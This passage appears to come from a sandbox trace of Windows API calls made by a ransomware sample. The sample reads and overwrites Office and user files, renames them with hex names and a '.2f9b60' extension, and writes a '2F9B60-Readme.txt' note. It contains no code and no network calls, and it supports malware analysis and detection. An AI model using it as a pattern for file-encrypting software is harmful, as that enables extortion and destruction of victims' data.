Flags=0x8, Size=0x20) returned 0x1b85fe50 [0148.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8695c0) returned 1 [0148.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f940) returned 1 [0148.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0148.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973f0 [0148.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8695c0 [0148.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0148.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0148.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea0e60 [0148.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce9d250 [0148.503] ReadFile (in: hFile=0x1e08, lpBuffer=0x1cea0e60, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x244df5d0, lpOverlapped=0x0 | out: lpBuffer=0x1cea0e60*, lpNumberOfBytesRead=0x244df5d0*=0xe2, lpOverlapped=0x0) returned 1 [0148.504] SetFilePointerEx (in: hFile=0x1e08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.504] WriteFile (hFile=0x1e08, lpBuffer=0x1ce9d250, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x244df5d4, lpOverlapped=0x0) [0186.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8f60 [0186.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8f90 [0186.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8f90) returned 1 [0186.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce9d250) returned 1 [0186.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea0e60) returned 1 [0186.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8695c0) returned 1 [0186.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973f0) returned 1 [0186.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d81c0 [0186.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973f0 [0186.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8695c0 [0186.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8f90 [0186.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8f90) returned 1 [0186.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d8000 [0186.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8f90 [0186.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8fc0 [0186.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8fc0) returned 1 [0186.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8695c0) returned 1 [0186.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973f0) returned 1 [0186.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x42c21980 [0186.240] SetFilePointerEx (in: hFile=0x1e08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.240] WriteFile (in: hFile=0x1e08, lpBuffer=0x42c21980*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x244df6f0, lpOverlapped=0x0 | out: lpBuffer=0x42c21980*, lpNumberOfBytesWritten=0x244df6f0*=0x11c, lpOverlapped=0x0) returned 1 [0188.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e60 [0188.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaf60 [0188.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859f10 [0188.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859f10) returned 1 [0188.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d8140 [0188.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859f10 [0188.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b050 [0188.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b050) returned 1 [0188.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaf60) returned 1 [0188.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e60) returned 1 [0188.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd86250 [0188.984] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="d0") returned 2 [0188.984] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="c6") returned 2 [0188.984] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="49") returned 2 [0188.984] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="d5") returned 2 [0188.984] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="dc") returned 2 [0188.984] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="44") returned 2 [0188.984] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="00") returned 2 [0188.985] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="da") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="3f") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="3c") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="ec") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="b8") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="f2") returned 2 [0188.985] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="a2") returned 2 [0188.985] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="21") returned 2 [0188.985] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="d8") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="2c") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="63") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="73") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="d5") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="a9") returned 2 [0188.985] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="d7") returned 2 [0188.985] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="5b") returned 2 [0188.985] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="73") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="b4") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="83") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="6b") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="73") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="5b") returned 2 [0188.985] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="68") returned 2 [0188.985] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="e1") returned 2 [0188.985] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="77") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="3b") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="d6") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="b8") returned 2 [0188.985] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="69") returned 2 [0188.986] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="b3") returned 2 [0188.986] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="0a") returned 2 [0188.986] sprintf (in: _Dest=0x1cd8629c, _Format="%c%c" | out: _Dest="a0") returned 2 [0188.986] sprintf (in: _Dest=0x1cd8629e, _Format="%c%c" | out: _Dest="3d") returned 2 [0188.986] sprintf (in: _Dest=0x1cd862a0, _Format="%c%c" | out: _Dest="f8") returned 2 [0188.986] sprintf (in: _Dest=0x1cd862a2, _Format="%c%c" | out: _Dest="48") returned 2 [0188.986] RtlInitAnsiString (in: DestinationString=0x244df768, SourceString="d0c649d5dc4400da3f3cecb8f2a221d82c6373d5a9d75b73b4836b735b68e1773bd6b869b30aa03df848" | out: DestinationString="d0c649d5dc4400da3f3cecb8f2a221d82c6373d5a9d75b73b4836b735b68e1773bd6b869b30aa03df848") [0188.986] RtlAnsiStringToUnicodeString (in: DestinationString=0x244df738, SourceString="d0c649d5dc4400da3f3cecb8f2a221d82c6373d5a9d75b73b4836b735b68e1773bd6b869b30aa03df848", AllocateDestinationString=1 | out: DestinationString="d0c649d5dc4400da3f3cecb8f2a221d82c6373d5a9d75b73b4836b735b68e1773bd6b869b30aa03df848") returned 0x0 [0188.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c37d10 [0188.986] RtlFreeAnsiString (AnsiString="d") [0188.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86250) returned 1 [0188.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8140) returned 1 [0188.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859f10) returned 1 [0188.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21980) returned 1 [0188.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8000) returned 1 [0188.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8f90) returned 1 [0188.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d81c0) returned 1 [0188.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8f60) returned 1 [0188.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0188.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0188.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0188.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1ce63c90 [0188.991] wcscat (in: _Dest=0x1ce63c90, _Source="d0c649d5dc4400da3f3ce" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\d0c649d5dc4400da3f3ce") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\d0c649d5dc4400da3f3ce" [0188.992] wcscat (in: _Dest=0x1ce63c90, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\d0c649d5dc4400da3f3ce.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\d0c649d5dc4400da3f3ce.2f9b60" [0188.992] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\d0c649d5dc4400da3f3ce.2f9b60", NtPathName=0x244df710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\d0c649d5dc4400da3f3ce.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c36090 [0202.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36090) returned 1 [0202.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290510) returned 1 [0202.065] NtQueryInformationFile (in: FileHandle=0x1e08, IoStatusBlock=0x244df778, FileInformation=0x244df788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x244df778, FileInformation=0x244df788) returned 0x0 [0202.065] NtSetInformationFile (FileHandle=0x1e08, IoStatusBlock=0x244df778, FileInformation=0x244df788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0205.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63c90) returned 1 [0205.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37d10) returned 1 [0205.966] FlushFileBuffers (hFile=0x1e08) returned 1 [0205.970] CloseHandle (hObject=0x1e08) returned 1 [0209.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x431a1e30 [0209.054] wcscpy (in: _Dest=0x431a1e30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" [0209.054] wcscat (in: _Dest=0x431a1e30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\2F9B60-Readme.txt" [0209.054] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\2f9b60-readme.txt")) returned 0xffffffff [0209.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cf4 [0220.315] WriteFile (in: hFile=0x1cf4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x244df630, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x244df630*=0xba9, lpOverlapped=0x0) returned 1 [0224.043] CloseHandle (hObject=0x1cf4) returned 1 [0225.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1e30) returned 1 [0225.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b190) returned 1 Thread: id = 2269 os_tid = 0x2dc [0139.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\ormmodel.mdl")) returned 0x20 [0139.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL", dwFileAttributes=0x20) returned 1 [0139.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\ormmodel.mdl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c80 [0139.498] GetFileSizeEx (in: hFile=0x1c80, lpFileSize=0x259ffc80 | out: lpFileSize=0x259ffc80*=72080) returned 1 [0139.498] SetFilePointerEx (in: hFile=0x1c80, liDistanceToMove=0x1198c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.498] ReadFile (in: hFile=0x1c80, lpBuffer=0x259ffc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x259ffc48, lpOverlapped=0x0 | out: lpBuffer=0x259ffc00*, lpNumberOfBytesRead=0x259ffc48*=0x4, lpOverlapped=0x0) returned 1 [0139.524] SetFilePointerEx (in: hFile=0x1c80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b760 [0139.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b790 [0139.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b7c0 [0139.525] NtQuerySystemTime (in: CurrentTime=0x259ffb40 | out: CurrentTime=0x259ffb40*=132462177447598000) returned 0x0 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x5fdee76e [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x78f4e893 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x307d8294 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x474850cc [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x7037a6c9 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x3ebe3fa6 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x9e3fdc4 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x6a8dd727 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x7a77c864 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x6997e468 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x2f969668 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x40d9477 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x60c8620f [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x5ff01122 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x550f8346 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x12155af5 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x2b5652d3 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x7bd9082c [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x4c2d817b [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x4ac41768 [0139.525] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x67e5682d [0139.526] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x516289b6 [0139.526] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x7d891fdf [0139.526] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x4bd0899b [0139.526] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x49e398f0 [0139.526] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x5cb214f4 [0139.526] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x63b14553 [0139.526] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x27a2296b [0139.526] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x49071d4b [0139.526] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x30a84a00 [0139.526] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x3905e126 [0139.526] RtlRandomEx (in: Seed=0x259ffb30 | out: Seed=0x259ffb30) returned 0x67f361d0 [0139.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b7f0 [0139.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b820 [0139.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b7c0) returned 1 [0139.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b760) returned 1 [0139.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42155d50 [0139.538] SetFilePointerEx (in: hFile=0x1c80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.538] ReadFile (in: hFile=0x1c80, lpBuffer=0x42155d50, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x259ffba0, lpOverlapped=0x0 | out: lpBuffer=0x42155d50*, lpNumberOfBytesRead=0x259ffba0*=0x3c00, lpOverlapped=0x0) returned 1 [0139.541] SetFilePointerEx (in: hFile=0x1c80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b760 [0139.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b760) returned 1 [0139.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4215d570 [0139.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b760 [0139.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b7c0 [0139.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b7c0) returned 1 [0139.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.543] WriteFile (in: hFile=0x1c80, lpBuffer=0x4215d570*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x259ffba0, lpOverlapped=0x0 | out: lpBuffer=0x4215d570*, lpNumberOfBytesWritten=0x259ffba0*=0x3c00, lpOverlapped=0x0) returned 1 [0160.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4215d570) returned 1 [0160.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42155d50) returned 1 [0160.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2a50 [0160.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0160.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0160.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2a80 [0160.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2a80) returned 1 [0160.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2a80 [0160.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2ab0 [0160.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2ae0 [0160.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2ae0) returned 1 [0160.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0160.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0160.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce139d0 [0160.925] SetFilePointerEx (in: hFile=0x1c80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.925] WriteFile (in: hFile=0x1c80, lpBuffer=0x1ce139d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x259ffc50, lpOverlapped=0x0 | out: lpBuffer=0x1ce139d0*, lpNumberOfBytesWritten=0x259ffc50*=0x10a, lpOverlapped=0x0) returned 1 [0163.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0163.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0163.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0163.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0163.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b470) returned 1 [0163.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f130 [0163.157] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="c9") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="3e") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="26") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="97") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="39") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="fb") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="54") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="99") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="a1") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="63") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="81") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="2e") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="4b") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="eb") returned 2 [0163.157] sprintf (in: _Dest=0x1cd9f150, 